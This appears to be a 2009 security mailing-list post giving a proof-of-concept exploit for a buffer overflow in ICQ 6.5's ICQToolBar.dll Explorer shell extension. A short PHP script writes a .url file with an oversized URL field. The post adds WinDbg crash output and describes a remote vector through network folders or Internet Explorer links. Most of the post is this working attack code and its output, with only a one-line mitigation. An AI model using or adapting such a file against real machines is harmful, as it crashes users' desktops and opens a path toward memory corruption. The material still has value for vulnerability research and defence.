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ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer remote buffer overflow poc
From: nospam () gmail com
Date: 30 May 2009 08:56:16 -0000

<?php
/*
ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer
remote buffer overflow poc
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

If the resulting file is placed on the desktop, against ex. xp sp3
process explorer.exe will exit with code 1282 (0x502) that is
ERROR_STACK_BUFFER_OVERRUN and crash infinitely, you cannot even browse a folder
if the file is present in it
Solution: disable the shell extension, you may try shellexview by nirsoft

Note (added 30/05/2009, remote vector added): it works with network folders
too ...

against a win2k3 where explorer.exe is not patched with /GS flag:

(f44.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
SHLWAPI!Ordinal400+0x2d:
772a533f 668906          mov     word ptr [esi],ax        ds:0023:00610061=???? <-----
0:010> g
(f44.104): Access violation - code c0000005 (!!! second chance !!!)
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
SHLWAPI!Ordinal400+0x2d:
772a533f 668906          mov     word ptr [esi],ax        ds:0023:00610061=???? <-----
0:010> gn
eax=00000001 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000001
eip=7ffe0304 esp=0178fcf0 ebp=0178ff44 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SharedUserData!SystemCallStub+0x4:
7ffe0304 c3              ret

prepare a network folder with the .url file inside. This works
against Internet Explorer too by a hyperlink to the network folder
*/

$____x = "[InternetShortcut]\x0d\x0a".
         "URL=".str_repeat("\x61",2184);
file_put_contents("9sg_poc.url",$____x);
?>

#original url: http://retrogod.altervista.org/9sg_icq_dos.html


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